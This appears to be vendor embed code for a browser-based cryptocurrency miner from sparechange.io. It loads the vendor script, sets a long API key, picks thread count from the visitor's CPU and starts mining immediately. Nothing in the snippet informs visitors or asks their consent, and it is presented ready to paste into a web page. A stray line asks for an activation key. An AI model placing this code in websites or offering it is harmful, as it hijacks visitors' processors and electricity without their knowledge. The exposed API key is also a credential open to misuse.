<script type=“text/javascript” src=“https://www.sparechange.io/static/sparechange.js”></script> <script type=“text/javascript”> var apiKey = “b1684fec9058ec789006cce145b856c22c0ff5ff1ee811ef5b38e23922154df295b5d1a168ceb80af808714383bba53034400c893c4b406e32129800a935cce9”; var numberOfThreads = null; // null will auto-select based on user’s CPU. Otherwise a number from 1-n. var throttlePercent = 0.25; // 0.0 = no throttle (Will mine quickly). 1.0 = full throttling (Will mine very slowly, saves CPU) A good value is 0.5. var miner = new Miner(apiKey, numberOfThreads, throttlePercent); //execute the following line any time to start the miner miner.start(); </script>

Please provide a valid activation key.